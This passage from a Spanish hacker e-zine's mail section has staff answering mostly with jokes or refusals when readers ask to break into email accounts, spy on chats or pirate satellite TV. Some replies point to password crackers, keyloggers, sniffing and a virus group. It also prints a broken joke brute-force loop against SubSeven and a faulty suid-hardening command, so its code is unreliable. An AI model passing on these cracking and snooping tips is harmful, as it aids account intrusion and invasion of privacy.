Con esta "tabla de verdad" podemos sacar o mas bien deducir la expresion
logica Z = f(A,B,C) = A + BC.
Con esta tabla de la verdad estariamos asociado al siguiente circuito.
__________
| \
B----------| \
| |--------------| ___________
C----------| / | \ \
|__________/ |_________\ \_____________ A + BC
A _________________________/ /
/__________/
Con todo esto que os he estado explicando podeis ir entendiendo un poco el
funcionamiento de lo que se venia a tratar en esta seccion; el como gracias a
una tira de numeros (0-1) es posible tener una circuiteria perfecta.
WhEkeP
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x12 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ NetSearch Mail/INBOX ]-==================================================
=-[ por NetSearch ]-=========================================================
Bueno, por fin podemos estrenar esta seccion :). Hemos recibido unos 70 mails
desde NS #5, y para que nos quejeis, aqui los teneis todos contestados. Para
este numero el encargado de contestar los mails ha sido cafo, para el
siguiente ya se vera [cafo, q dices? :)].
Si quereis que vuestros mails aparezcan aqui respondidos solo teneis que
mandarlos a la siguiente direccion: staff@netsearch-ezine.com. Os recuerdo
que no se contestara ningun mail directamente (salvo excepciones), sino que
sus respuestas se plasmaran en este apartado del Ezine. Si alguna persona ve
su mensaje aqui respondido y se siente ofendido, lo sentimos.. hay que tener
un poco de sentido del humor :). Un saludo.
-==- MAILS -==-
_-_-_-__-_-_-_
Hola
Yo como muchos mas quiero ser hacker y no se donde
pueda a aprender lenguaje de programacion nose si
ustedes me pueda mandar un curso por e-mail tengo 14
aÒos y soy inexperto completamente
[ Formas de aprender lenguajes de programacion hay a patadas. Vete a
Altavista y pon "tutoriales de C" ]
_-_-_-__-_-_-_
HOLA
LES ESCRIBO PUES TENGO UNA DUDA UN HACKER PUEDE ABRIR CORREOS Y SI ES POSIBLE
POR MEDIO DE QUE O COMO LO HAGO YA QUE ME LLAMA LA ATENCION SER HACKER PERO
NO TENGO NI LA MAS REMOTA IDEA DE ELLO.
ADIOS
[ Pues la mayoria de los hackers "profesionales" que conozco usan el pine
para abrir correos. Yo personalmente me inclino por los interfaces
graficos del Becky Internet Mail o el Outlook 2000 SR2 ]
_-_-_-__-_-_-_
me gustaria saber si conocer un craker para claves para subseven para el
puÒeto 27374
desde ya muchas gracias
Deo
[ Mmmh, asi de bote pronto se me ocurre algo como
connect(SocketFD, (SA *)&DestAddr, SIN_LEN);
for(i1=0;i1<256;i1++){
for(i2=0;i2<256;i2++){
for(i3=0;i3<256;i3++){
for(i4=0;i4<256;i4++){
send(SocketFD,strcat(i1,i2+i3+i4), 4,0);}}}}
claro que habria pulirlo un poco, usando las funciones como vienen en
las man y esas cosas. ]
_-_-_-__-_-_-_
Hola , me gustaria saber si hay algun programa para " ver o espiar" las con
versaciones de otras personas en el ICQ
le agradeceria una respuesta a mi peticion
Gracias Roberto
[ Pues la mayoria de los hackers "profesionales" que conozco, usan el propio
icq para ver lo que dice la gente. Supongo que sera mejor que les preguntes
a ellos por la tecnica megahax0r que utilizan ]
_-_-_-__-_-_-_
somos tres estudiantes de sistemas y en nuestra escuela el profe de la
catedra seminario de actualizacion nos solicta estudiar sobre seguridad en
internet y para efectos de demostracion tenemos que analizar las
vulnerabilidades de la red de nuestra escuela.
Quisieramos que alguien de su categoria nos asesorara o nos orientara por
donde comenzar, la verdad que para nosotros es nueva esta area, y
quisieramos ademas de aprender sobre el tema, sobre todo SUPERAR LA
MATERIA...
Les agradecemos su pronta respuesta.
Hasta pronto.
Edgar
sonia
olga
[ Por experiencia propia, se que las redes de las escuelas no son ni mucho
menos seguras. Recomiendo la lectura de la guia de hackers de cmeinel.
http://www.happyhacker.com ]
_-_-_-__-_-_-_
hola ! necesito imagenes extraÒas en movimiento ( generadas por errores y-o
baja tecnologia) para un proyecto de net art , la idea que yo tenia era
malograr los codigos de un juego para que al momento de jugarlo se vea todo
mal , con ruido , pixeles , manchas, etc
alguien me puede ayudar??
saben como hacer eso?
adios y gracias
siggmus pd. si tienen otras ideas de como generar errores o imagenes raras en
movimiento avisenme
[ Esteeee... que??? La verdad es que prefiero no mojarme en esto.
Haciendo caso a mi sentido del buen gusto, tampoco voy a comentar
ciertas sugerencias que un sujeto del staff propuso para ayudarte, porque
aunque las latas de pintura son faciles de conseguir, los dos monos en
celo que hacen falta para el experimento ya son algo mas complicados. ]
_-_-_-__-_-_-_
hola:
yo les queria hacer una pregunta, como hago para conseguir el login de una
cuenta de mail? hotmail, yahoo las conocidas o las que sea.
desde ya muchas gracias
[ Cuando me surgio ese problema, lo que hice fue irme a la pagina raiz
de sus servidores y probar a darle a un boton grandote que pone
"New user Sign In". ]
_-_-_-__-_-_-_
Soy muy aficionado a internet, no se absolutamente nada de hackear, me
interesaria saber como obtener la direccion de mail de una persona de la
cual solo tengo el numero telefonico desde la cual se conecta.
Es muy importante para mi poder encontrar dicho mail, no para hackear ni
nada parecido.
Muchas gracias y espero algun dia aprender.
[ Si no es para hackear, por que no le llamas a ese numero de telefono
que conoces y se la preguntas? ]
_-_-_-__-_-_-_
Hola chicos, os enviamos este email desde Inglaterra, y nos gustaria saber si
teneis alguna noticia de la posibilidad de hacer tarjetas piratas para el
canal satelite digital Ingles "SKY", si asi es os agradeceriamos que nos lo
comentase.
Muchos saludos desde las islas.
[ Pues si no recuerdo mal la red SKY utiliza los satelites Astra
con el sistema de codificacion Videocrypt (no estoy seguro, hace tiempo
que no toco el tema). Si es asi, no hay ningun problema porque el
Videocrypt hace tiempo que se rompio. Busca algun link actualizado
para la informacion sobre como construir tarjetillas ]
_-_-_-__-_-_-_
Hola a todos!
Bueno os escribo este mail principalmente para agradeceros el articulo
publicado en el n#5 de este e-zine Reflexiones sobre los MIG y
especialmente al autor ;), y por la ayuda moral, animos, llamadas y
sobre todo pedir disculpas a aquellos que ultimamente estaban
inquietos por culpa de este bache ;) y bueno ya sabeis os quiero!! ;)
y por lo tanto solo me queda felicitar al grupo por el estupendo
trabajo que se esta realizando con el e-zine y el canal desde aqui
envio un fuerte abrazo a todos.
[ :*** A mandar muchacho. Aqui siempre estamos en contra de las injusticias
y sobre todo contra las que nos afectan ;). Ya sabes que si necesitas
algo, seguimos aqui. ]
_-_-_-__-_-_-_
Hola soy Alex un chaval de 15 aÒos, me interesaria saber donde puedo
encontrar una pagina web donde explique como ser un hacker desde novato,
porque solo se un poquitin y me gustaria ser un hacker profesional, como lo
eres tu supongo?
Te lo agredeceria mucho!
GRACIAS!!
[ La profesionalidad implica el cobro de cierta retribucion por una actividad
realizada. En mi caso, esta condicion no se cumple, asi que supongo que
soy un hacker amateur. Supongo que lo que buscaras son los redbooks
de ibm http://www.redbooks.ibm.com o los capitulos del
Guide to harmless hackers de http://www.happyhacker.com. ]
_-_-_-__-_-_-_
Hola a todos los miembros del team,mando este mail para
proponeros,que en proximos numeros podeis incluir un
doc sobre seguridad en sistemas UNIX,divididos en 2 o 3
partes, eso ya es cosa del editor ;), tratando temas
como la eleccion de buenas contrase~as, permisos de
ficheros,bits suid activados.. etc, weno solo era eso,
un saludo a todos xD.
[ Pues la verdad es que no es un tema que de mucho juego. Te lo puedo
hacer en un par de lineas:
contraseÒas: de 8 letras (20 si se usa md5) de caracteres alfanumericos,
minusculas y mayusculas.
permisos: Todo lo ejecutable a 700 y todo lo no ejecutable a 600, y ahi no
entra ni dios (bueno, dios si, pero porque hace trampa)
bits suids: cuantos menos mejor. find / -perm 4000 -exec chmod -S '{}' ';'
etc: aqui se puede incluir lo que sea, como poner todos los usuarios en el
/etc/ftpusers y demas tonterias. Cada sistema es un mundo. ]
_-_-_-__-_-_-_
Hola, es que me di cuenta que hay alguien dando un curso de Lenguaje C, y yo
estaba en esos planes tambien...entonces quiero saber si puedo escribir un
curso de lenguaje C algo basico, e ir avanzando...
Tienen un buen ezine, los felicito, tambien a Raise por lo de las shellcode
s, no estoy muy avanzado (quien lo esta? jeje) bueno no digo mas, espero su
respuesta.
Saludos de Colombia
Knox
[ Otro curso de C seria excesivo. Creo que en este numero tenemos la
continuacion del anterior. La verdad es que creo que algunos (yo incluido)
agradecerian cursos sobre lenguajes menos conocidos, como Perl, Awk, Phyton
etc. ]
_-_-_-__-_-_-_
Hola
Yo como muchos mas quiero ser hacker y no se donde
pueda a aprender lenguaje de programacion nose si
ustedes me pueda mandar un curso por e-mail tengo 14
aÒos y soy inexperto completamente
[ Otra vez? se ha duplicado? sera un virus? Misterios insondables de la
informatica ]
_-_-_-__-_-_-_
hola como estan soy un novato en esto pero pongo mi enpeÒo en esto
quisiera saber como entrar al, sistema de un amigo que parecer saber hacerlo
el cual siempre logra entrar a mi sistema cuando nos comunicamos por el
internet o el chat quisiera saber hacerlo por favor.
[ Que mejor enseÒanzas que las que te pueda dar un "amigo"? El te puede
explicar mejor que nadie lo que hace para entrar en tu sistema. Si lo que
quieres es sorprenderle, instalate linux, cierra todos los puertos de
/etc/inetd.conf y tientale a volver a hacerlo. ]
_-_-_-__-_-_-_
yo tengo una pregunta segun lo que vi de esta pagina es una pagina para
hackers y yo tengo una peticion que si me podian enseÒar a hacer lo que
hacen los hackers o si saben de alguien que sepa
gracias
atte: julio (mexico)
[ Que hacen los hackers? Pues basicamente vemos la tele de madrugada,
faltamos mas de lo que deberiamos a clase, comemos mas comida basura
de la que aconseja la OMS y nos puedes reconocer por la calle por el
numero de rubias imponentes que nos rodean. Poco mas se puede
decir de nuestras aficiones ]
_-_-_-__-_-_-_
Hello, soy de Argentina , y entre a su pagina y realmetne me gusto el diseÒo
, bien echo Sp4rk , les mandaba este mail , por otro tema , no se como
empezar a estudiar sobre computacion , ya hice cursos de mantenimiento y
reparacion de cps pero no me ayuda, me fije en la red y no encuentro nada ,
busque ayuda con un grupo ingles llamado Lopht , pero esta en ingles (ojo se
ingles) pero no me voy a poner a leer todo , en cambio en castellano si , mi
problema es , de donde saco informaicon , quiero aprender a programar , a
defenderme , a ser parte de la red , ojo , no quiero ser un Hacker, la
palabra , se fue deformando el hacker no es el qe se mete en las pcs ajenas
sino que creo programas , software ,harware , y mantiene a pleno sus
conocimietnos, pero hoy en dia ser un hacker es malo , para la gente que no
entiende no?.
Bueno desde aqui los saludo con mucha admiracion , y aprecio.
ADIOS , atte.: DaRk_NEt
[ Pues para avivar la polemica, yo pienso que un hacker es el que entra
en un sistema. Para el que hace programas ya tenemos "programador", para
el que hace hardware ya tenemos "ingeniero" y para el que mantiene
a pleno sus conocimientos ya tenemos "empollon". No veo porque hacer una
cosa o que te llamen de una forma es malo. L0pth es un buen grupo, te
aconsejo que te leas sus articulos, si los comprendes sabras mucho mas
que la mayoria. Lo mismo puede decirse de www.phrack.com. En castellano,
simplemente vete a nuestra page de links, y siguelos. Hay bastante como
para no aburrirse. ]
_-_-_-__-_-_-_
Hola gente netsearch,a decir verdad no se mucho d hackers ni d computacion,
pero me gustaria aprender,solo quisiera saber q requisitos tendria q tener
alguien para entrar en el mundo del Hackeo,ojala respondan.
[ Mens sana in corpore repleto de comida basura. Creo que hay hackers que
hasta hacen alpinismo, pero son una especie rara y que segun creo vienen
de otro planeta. ]
_-_-_-__-_-_-_
Les presento mis saludos y los felicito por el sitio.
Necesito vuestra ayuda para lo siguiente: necesito
accesar el sistema informatico de una entidad
bancaria, para obtener cierta informacion. No se como
hacerlo. Si me ayudan, en caso de ser necesario
retribuire de la manera que corresponda. O bien, me
indiquen donde puedo acudir. AYUDENME, PLEASE.
[ Esteeee... supongo que sabras que eso es ilegal, no? De todas formas
si lo que quieres es acceder a una informacion tuya, el banco esta
obligado por ley a dartela. ]
_-_-_-__-_-_-_
Hola soy de la Patagonia, casi cayendo del mapa de argentina, apenas me
considero un operador de pc, y me gustaria aprender como decifrar los
password de mail, o alguna direccion de donde poder estudiar este tema.
PD: Independencia a la Republica Patagonica.
El nono
[ los password de mail son los mismos que los passwords de cuentas, asi que
pillate el John The Ripper o el Crack y dejalo toda la noche. ]
_-_-_-__-_-_-_
Hola ?
en primer lugar felicitaros por la pagina pues creo que a los que empezamos
en este mundillo nos va a venir de perlas.......
tengo una pregunta para haceros, y de ese modo solucionar un problema que
tengo, vereis:
hace unos dias una persona accedio a su cuenta de correo con Hotmail desde mi
portatil.......mal hecho por su parte.....y estoy interesado si mi ordenador
guarda en algun lado la contraseÒa de acceso como copia. Me gustaria tambien
saber si se puede configurar para que cualquiera que acceda a su cuenta de
correos a traves de mi portatil, quede grabado tanto el login como la
contraseÒa.
Tambien queria pediros que me remitieseis enlaces con paginas en las que
existan tutoriales en castellano de Hacking.
Solo me resta daros las gracias por anticipado.
Saludos.
R@mses
[ Lo que un navegador guarda de las paginas visitadas es una cache de las
paginas visitadas, no las contraseÒas. Un ordenador se puede configurar
para lo que quieras, aunque supongo que lo que buscas es un keylogger. ]
_-_-_-__-_-_-_
Hola:
Me acuerdo cuando visite vuestra antigua pagina por primera vez: que pasada
una pagina que habla del craking, y que hasta yo puedo entender, despues
repentinamente os perdi la pista, pero por fin vuelvo a encontraros.
Recuerdo que teniais varias secciones como fraude al sistema de correos,
instrucciones de los programas que ofreciais etc..
Yo baje unos cuantos programas, y un craker se me colo dentro y los virus que
tenia tan bien guardados en mi unidad c: el graciosillo los ejecuto.
No es solo eso, el chat que tanto frecuentaba, se ha adueÒado de mi nick y me
ha cambiado la contraseÒa, gracias a mi primo (que no sabe mucho, pero
comparado conmigo es un Dios informatico) formatee mi pc, pero el problema es
que me gustaria conseguir la clave de mi nick, y ya que estamos de todas las
cuentas de e.mail que tenia desperdigadas por la red se que hay programas
para ello y me han pasado un par de revelador de paswords entre ellos el
releaver y no furula. podiais ayudarme,pasarme o recomendarme un programa que
me devolviese mi contraseÒa de todo lo que me quito (nicks, correo) si puede
ser que sea muy facil de usar porque ademas de estar empanado no se mucho de
estas cosas. Os estaria muy agradecido.
Gracias
P.D: me la consigais o no teneis una pagina de puta madre y muy makeada (que
conste que no es peloteo)
[ Creo que a lo mejor te confundes con la pagina de #hacker_novatos.
Que yo recuerde nunca hemos tenido esas secciones en la de NetSearch
Ezine, mas que nada porque la pagina siempre se ha planteado como una forma
de publicar el ezine, no como una pagina actualizada "dia a dia". Con
respecto a lo del nick, la cosa esta muy mal, porque los administradores de
las redes de chat no se hacen responsables de lo que pase con los nicks.
Es responsabilidad de los usuarios proteger claves y demas. ]
_-_-_-__-_-_-_
Soy BIEN novato y quiero sacar de correo el passward
como se puede hacer, ya probe con FTP. Te pido un consejo con que programa
y como hago, bien explicado por favor.
Desde ya muchisimas gracias Pablo Andres
[ de correo el passward sacar se puede el programa de correo abriendo y la
configuracion mirando y en un papel apuntando. ]
_-_-_-__-_-_-_
hola
me podeis decir donde podria bajar el windows 3.1 en castellano
Gracias por contestarme a la direccion siguiente
Adios
[ Ni idea. ]
_-_-_-__-_-_-_
hola amigos
los molesto por lo siguiente:
yo mucho no se de estas cosas, pero me gustaria entrar
al mail de otra persona.
no se la contraseÒa, y mi pregunta es la siguiente:
hay algun programa para adivinar la contraseÒa de un
mail, y cual es?
sin molestarlos mas y con la esperanza de que me
puedan ayudar
los saludo muy atentamente
yo
MARCELO.
P.D. GRACIAS!!!!!!!!!!!
[ Esteeee.... pues no.]
_-_-_-__-_-_-_
necesito hacer mierda la PC de un hijo de puta, como puedo hacer para hacer
lo mierda?????
necesito asesoramiento
gracias
Sergio
[ Pues para hacer mierda cualquier PC es suficiente con coger un buen
martillo pilon y liarte a mamporrazos con la puta torre. Si el hijo de puta
es un tio chungo de cuidado, puedes hacerte con un puto martillo neumatico
y liarte con la puta torre de la cpu, hasta q no haga nada mas que click. ]
_-_-_-__-_-_-_
ME PRESTARON UN CD DE NORTON SISTEM WORKS 2001, EL CUAL QUIERO COPIAR, ES LA
SEGUNDA VES QUE LO INTENTO Y NO SE DEJA QUEMAR NI COPIAR, SI SE DEJA
INSTALAR, PERO NO SE DEJA COPIAR.
LO PROBE CON NERO 5.X Y CON CLONCD, NECESITO LOS TIPS PARA PODER HACER MI
COPIA.
muchas gracias, y espero sus comentarios
[ Mmmmh; cp -R /mnt/cdrom/* /tmp/norton; xcdroast & ]
_-_-_-__-_-_-_
hola, necesito su ayuda, no se mucho de computadoras, pero me han dicho que
los crackers y hacker pueden conseguir los paswords con algunos programas, o
incluso mas informacion, mi problema es que hay alguien que me esta
escribiendo e mails amenazandome a mi o a mis familiares y quisiera saber si
ustedes pueden ayudarme a saber quien es esa persona porque la verdad me
siento desesperada pues a parte me dice que es personas que la verdad no creo
y ya me estoy enfadando de estar con la incertidumbre.
espero que puedan ayudarme o que me puedan guiar de como puedo saber algo de
esta persona.
a sus ordenes y dandoles las gracias desde ya eliz
[ Amenazar la a una persona es algo ilegal. Denuncialo a la policia, que
ellos si saben (y lo pueden hacer legalmente) encontrar al amenazador. ]
_-_-_-__-_-_-_
Hola, antes de empezar quiero que tomen en cuenta esto. Se que hay
muchas personas preguntando estupideces sobre como ser un hacker, como
crackear etc., y es muy molesto ver que hay personas preguntando estupideces
solo por que se quieren divertir un rato, o quieren hacer daÒo en la red, o
que se yo que coÒo se les ocurra. Lo cierto es que muy pocos toman este campo
en serio, y solo algunos sacrifican tiempo y dinero para aprender de verdad a
ser un hacker. No quiero pedirles que me enseÒen trucos (a menos que uds. lo
crean necesario) ni tampoco hacerles perder el tiempo en largas teorias. Solo
quiero algunas respuestas, a lo mejor y mis preguntas son estupidas, pero
para mi son verdaderas dudas.
1) Se puede tener Linux en el computador Junto con Windows? Que puedo Hacer?
2) Que programas son escenciales para aprender a programar y hackear (nota:
soy absolutamente nuevo en el campo de la computacion, en pocas palabras no
se mas que prender el computador, instalar juegos, jugar y navegar en
internet).?
3) Recomiendan Uds. algun texto o curso, o conocen a alguien que este
dispuesto a asesorarme? (Soy de Venezuela, aqui no hay muchos hackers; bueno
eso creo).
Por favor, en realidad me llama la atencion todo lo referente a la
computacion, lamentablemente no habia investigado antes pero nunca es tarde
para aprender. Estoy dispuesto a trabajar muy duro, de hecho estos ultimos
dias me he estado comiendo textos en ingles y espaÒol y voy a seguir
haciendolo , y aunque he visto que los mejores hackers han sido autodidactas,
por lo menos necesito un empujon en cosas basicas. Todavia estoy en
bachillerato y los cursos de computacion aqui son muy pendejos, pero si
tuviera la oportunidad me dedicaria a aprender lo que fuera.
Bueno, ya basta de hablar, se que tienen cosas mas importantes que leer
mails, asi que los dejo.
Por favor, tomenlo en cuenta. Gracias.
Respondan lo mas pronto que puedan. CHAO!
[ 1. Si, yo lo tengo. Leete la ayuda de cualquier distribucion para ello.
2. gcc para programar, gdb para abrir programas, bash para todo lo demas.
3. Apuntate a la lista bugtraq, kernel-dev y cualquiera con cierto
nivel tecnico. En pocos meses sabras mas que la mayoria.
Autodidactas? Vamos por dios, ya me gustaria a mi conocer a alguien que
haya programado un modulo del nucleo o un exploit sin haber mirado una
man o un howto. Simplemente hay que leer todo lo que cae en sus manos. ]
_-_-_-__-_-_-_
hola :quisera saber como puedo hacer para saber la contraseÒa de una
direccion de mail en hotmail
si se puede ok si no ok tambien
martinbaquetas@hotmail.com
[ BUCLE: ]
[ Me niego a responder lo mismo mas veces. ]
_-_-_-__-_-_-_
Necesitaria que por favor me digan como hago para saber una contraseÒa de
hotmail de una persona. Por favor envienme una respuesta lo antes posible,
es urgente de vida o muerte, necesito saber esa contraseÒa.
Desde ya muchas gracias
candela
[ JMP BUCLE ]
_-_-_-__-_-_-_
Hola:
Se que es muy pretencioso de mi parte pero tengo una gran necesidad de
interceptar una direccion de correo electronico.
Si eres tu la persona en este mundo que me pueda ayudar. por favor hazlo.
Gracias de antemano.
[ Lo mas facil es presentar una solicitud de empleo a tu compaÒia ISP y
prosperar hasta que te hagan responsable del router, una vez alli, pones
la tarjeta de red en modo promiscuo e instalas un sniffer. Todo tuyo. ]
_-_-_-__-_-_-_
Como estan espero que bien.
escibo este mail para pedir si me pueden enviar los nuemros anterios 1,2,3
o decirme como lo puedo conseguir............
bueno gracias..
[ Si estas leyendo esto, simplemente mira un par de links mas arriba.
(http://www.netsearch-ezine.com | http://netsearch.page.to) ]
_-_-_-__-_-_-_
Hola ...
Soy un chico Chileno interesado en lo Under y con muchas ganas de participar
en un grupo... saben hace tiempo que me gustaria aprender mas...
les pido que me ayuden, para que esto kresca....
y seamos muchos....
siempre e pensado que los que saben mas deben enseÒar a los que saben menos,
para que sigan apareciendo cosas nuevas...
ok thank you por leerme..
Chauzz
[zKreT
[ No creo que sea necesario que seamos muchos, mas bien al contrario, cuanta
mas conciencia de secta tengamos, mas seremos apreciados por el mundo
empresarial, que al fin y al cabo es lo que todos buscamos. ]
_-_-_-__-_-_-_
TENGO EL AGRADO DE ESCRIBIRLES PARA PEDIRLES ALGUN TIPO DE INFORMACION SOBRE
EL CELULAR SAMSUNG SCH 3500, YA QUE NO PUEDO ENCONTRAR NADA PARA HACER
FUNCIONAR UN PARCITO QUE TENGO...
DESDE YA MUCHAS GRACIAS.....
[ Personalmente ni idea... ]
_-_-_-__-_-_-_
Saludos...
Su pagina esta chida..
Oigan ya instale la aplicacion de distributed.net pero
como funciona?, ya use la ayuda que trae pero no vale @!!@
Dispongo de 8 maquinas que promedian 400Mhz y trabajan
10 horas al dia de las cuales como 3-4 horas se estan sin hacer nada
...... pienso que serian de gran ayuda
Sinceramente les agradeceria que me ayudaran y asi unirme a su grupo
mi direccion de correo es: pintelinsai@hotmail.com
sin mas gracias por su atencion
[ Las paginas de ayuda de distributed.net son completisimas, con unas
FAQs bastante completas. Cualquier cosa que te podamos contar aqui, ya
esta contestado, y mejor, alli. A ver si entre todos se saca la dichosa
clave. ]
_-_-_-__-_-_-_
hola muchachos como andan. les escrivo porque preciso virus nuevos y
direcciones de paginas donde pueda bajarlos.bueno muchas gracias.
[ http://www.coderz.net/29a/ Posiblemente, el mejor grupo de virii del
mundo. Y no es peloteo porque tengamos una entrevista con Wintermute ;) ]
_-_-_-__-_-_-_
Que tal soy nomoke
Les cuanto que tengo un club de mas de 300 personas
que nos reunimos para debatir e intercambiar
informacion referida a lo que nosotros nos gusta.
si quieren visiten mi pagina
http://nomoke.iespana.es
espero respuesta
chau gracias NoMoke
..........
[ Bueno, si por lo menos viera la pregunta... ]
_-_-_-__-_-_-_
hola me gustaria tener informacion sobre hackers
por ejemplo:
a que se dedican?
algunos tips?
como ser un hackers?
[ A comer bollicaos.
tips tips tips.
No puedes, no lo intentes o te echaremos. ]
_-_-_-__-_-_-_
hola necesito que me ayuden, necesito ingresar en una cuenta de correo cuya
clave no se, es por una cuestion muy personal... creo que mi novia me
metio los cuernos...
si hay que pagar algun precio diganme cuanto y como
gracias
[ Cambia de novia. JNZ LOOP ]
_-_-_-__-_-_-_
Gostariamos de manter um contato de parceria com vcs. Somo da
www.invasao.com.br e trabalhamos divulgando noticias sobre Hackers.
Estamos oferecendo uma troca de links.
Aguardamos
Diogenes S. Leo
Fuctur@ Informatica
www.invasao.com.br
81
3221-9116
3221-9124
[ Pues ya sabeis, los que domineis el brasileiro, ya podeis ir visitando
la pagina de este grupo. ]
_-_-_-__-_-_-_
Hola, mi amigo y yo recurrimos a vosotros para ver si podeis ayudarnos o
decirnos si hay algun sitio donde conseguir ayuda, os contamos el problema:
desde el otro dia a mi amigo le llama al movil una chica le insulta y le
manda mensajes amenazandole de muerte, todo podria ser una broma pero ha dado
muchos datos sobre el y su coche en los mensajes y el numero de su movil solo
lo conocemos una docena de personas y ninguna somos quien llama, los mensajes
los manda por internet, pero el otro dia no se debio de dar cuenta y cuando
llamo aparecio su numero de movil, empieza por 653, los mensajes los firma
con el nick de xxxx.
Se que no se podra hacer mucho pero si se os ocurre algo os lo
agradeceriamos, MUCHAS GRACIAS por haberos molestado en perder el tiempo
leyendo este mensaje y por la informacion que podais facilitarnos.
Repetimos muchas gracias.
[ Lo mismo que unos cuantos mensajes mas arriba. Si algo se pone demasiado
serio para ser una broma, denunciadlo a la policia. Tambien existe
(depende del modelo de telefono) la posibilidad de bloquear las llamadas
entrantes de ese numero. ]
_-_-_-__-_-_-_
Hola
Ayuda desesperante!!!!!
Como hago para entrar a otra computadora?
y como hago para entrar a un hotmail si no se la clave?.
Me pueden ayudarrrrrrrrrrrrrrrrrr!!!!!!! escaso de vida o muerte.
Estoy a su disposicion si necesitan algo mio.
Por favos espero respuesta
Maru
[ OM MANI PADMA HUM ]
[ OM MANI PADMA HUM ]
[ OM MANI PADMA HUM ]
[ OM MANI PADMA HUM ]
_-_-_-__-_-_-_
que tal amigos, soy argentino y queria hacerle una pregunta a gente que
sabe de este tema.
necesito poder entrar a el mail de mi ex novia para enterarme de un par
de cositas que calculo que me hizo y despues poder vengarme de ella y lo
que queria saber es si hay algun programa que se pueda bajar para poder
crackear los password de yahho o de hotmail.
L a pagina es excelente un saludo grande, de un admirador argentino.
[ La vengaza se disfruta mejor en frio. Casate con otra, ten hijos y dentro
de 2 aÒos descubrele el pastel. ]
_-_-_-__-_-_-_
mi nombre es juan carlos y quisiera conocer un poco mas sobre el tema:
[ Me parece estupendo. Que tema? ]
_-_-_-__-_-_-_
Tengo un problema, necesito usar una fotocopiadora digital SHARP AR-162n como
impresora pero los drivers me los venden en casi US$700.00 y no me quieren
dar ninguna copia pirata, sabes donde puedo encontrar esos controladores?
[ Ni idea. ]
_-_-_-__-_-_-_
Hola muchachos como estan, quisiera pedirles un gran favor, necesito
informacion sobre seguridad en los sistemas operativos, como rompen
teoricamente la barrera de suguridad de los s.o., esperando respuesta para un
trabajo en el instituto del ramo de Sistemas Operativos, ya que voy en tercer
aÒo de ingenieria.
desde ya gracias
[ http://www.kriptopolis.com/cys.html ]
_-_-_-__-_-_-_
quisiera consultar con fines educativos y de conocimiento que tipos de
programas se pueden usar para decodificar claves de seguridad y si esto es
posible realizarse con direcciones de correo e-mail.
[ GOTO BUCLE; ]
_-_-_-__-_-_-_
ME CONTACTO CON UDS. PARA PREGUNTARLES SI CONOCEN ALGUN CURSO DE
HACKERS, PARA INTRODUCIRME EN EL TEMA E IR METIENDOME EN EL TEMA.
DESDE YA LES AGRADEZCO Y ME PUEDEN CONTESTAR EN
xxxx@HOTMAIL.COM.
GRACIAS, FERNANDO
[ http://www.happyhacker.com ]
_-_-_-__-_-_-_
Hola amigos, mi nombre es Ezequiel y les escribo desde Miami.
Les voy a hacer una pregunta un tanto comprometedora pero ambiciosa, bueno el
mundo es de los audaces, verdad??
yo se que es muy dificil poder hacerlo o encontrarlo: la pregunta es:
como puedo hacer para entrar a los sistemas del servicio de inmigracion y
naturalizacion de los estados unidos. Lo unico que se, que el metodo es
hacking, pero la gran pregunta es, como?.
Amigos esto no es comun que alguien se los pregunte pero estoy supero
interesado!!.
La definicion que yo le podria dar a este metodo es: ir mas alla de la
pagina web de lo que quieres hackear.
Ante todo gracias. Y espero su gran ansiada respuesta.
[ Supongo que sabes q lo que dices es ilegal, no?
Y por si no lo sabes, esta revista la leen en el FBI...
Yo de ti me estaria desconectado unos meses. ]
_-_-_-__-_-_-_
Saludos compaÒer@s:
Somos una pequeÒa radio libre que queremos entrar en la red emitiendo en
directo por ella.
Deseariamos que nos mandeis algo de informacion de como hacerlo, tambien,
si fuera posible, decirnos programas para crear nuestro propio chat en la
pagina, solo conocemos el SiteSticky 4.0 y no nos parece bueno para lo que
queremos.
Sin nada mas y en espera de vuestra contestacion me despido en nombre de la
gente que hacemos radio, un saludo de Jabba.
[ Para lo de la radio, existe el formato RAM, o simplemente mandando
un stream de datos continuo hacia el navegador que lo solicite. La
solucion para poner un chat en la pagina pasa por poner un servidor
de irc en el ordenador y un applet de java que se comunique con el. ]
_-_-_-__-_-_-_
ya se que no se suele pedir ayuda para estas cosas,
pero lo cierto es que me bajado unos cuantos programas
para intentar entrar en paginas que ofrecen cursos
pagando pelas, cosa que yo sin curro no tengo.
por eso me gustaria saber como puedo entrar en sitios
como http://www.vibrationdata.com/tutorials.htm
para poder aprender algo y que contraten en alguna
empresa de una vez.
si no puedes ayudarme, lo entendere, pero alguna
pistilla.....
gracias por soportar el rollete.
[ No, no se puede. Es una empresa que vende eso, asi que hay que respetarlo.
Por otra parte, nada de lo que veo en la pagina es "privado". Vete a
cualquier biblioteca y estudia por tu cuenta, siempre es mas rentable. ]
_-_-_-__-_-_-_
Hola amigos ando investigando del subseven, no se si pudieran informarme que
cosa es y para que sirve, resulta que un "amigo" me lo envio y me da como si
fuera virus aunque no lo es yo lo se, pero estoy muy preocupada porque
siento que mi compu se va a deshacer, porfavor contestenme donde puedo
encontrar informacion en espaÒol.
Gracias y aunque sea mandenme un saludito.
Chau un beso
Mary
[ El subseven es un troyano para poder controlar tu ordenador a distancia.
Y si digo controlar, es controlar completamente sin que tu te des cuenta.
Si todavia no lo has ejecutado, no lo hagas y borra el programa. Si ya lo
has hecho, recuerda que la curiosidad mato al gato para la proxima vez
y visita:
http://members.tripod.com/seguridadeninternet/subseven-remocion.html
(una de las muchas paginas con informacion de como desinstalarlo). ]
_-_-_-__-_-_-_
HOLA SOY NOVATO PERO QUIERO SABER PROTEGER MIS CD, PARA QUE NO ME LOS
COPIEN SON MIOS Y NADA MAS.
QUIERO UN NOMBRE DE PROGRAMA Y COMO USARLO.
GRACIAS
SALUDA ATTE.
DIEGO
[ Estas no son formas... En fin.
while(!feof(FILEIN)) { c=fgetc(); c=c ^ 5; }
y para descifrar, ejecutas otra vez. ]
_-_-_-__-_-_-_
quiero aprender soy novato y quiero ser experto con fines educativos
para seguridad de mi pc constantemente atacado.
Indicame como.
gracias
[ The only secure pc is the disconnected one. ]
_-_-_-__-_-_-_
hola que tal me llamo rogelio valencia pacheco soy de mexico y quisiera ser
parte de los miembros de esta pagina y como puedo entender lo que estan
tratando aqui notengo mucha experiencia en esto y si me pueden ayudar si me
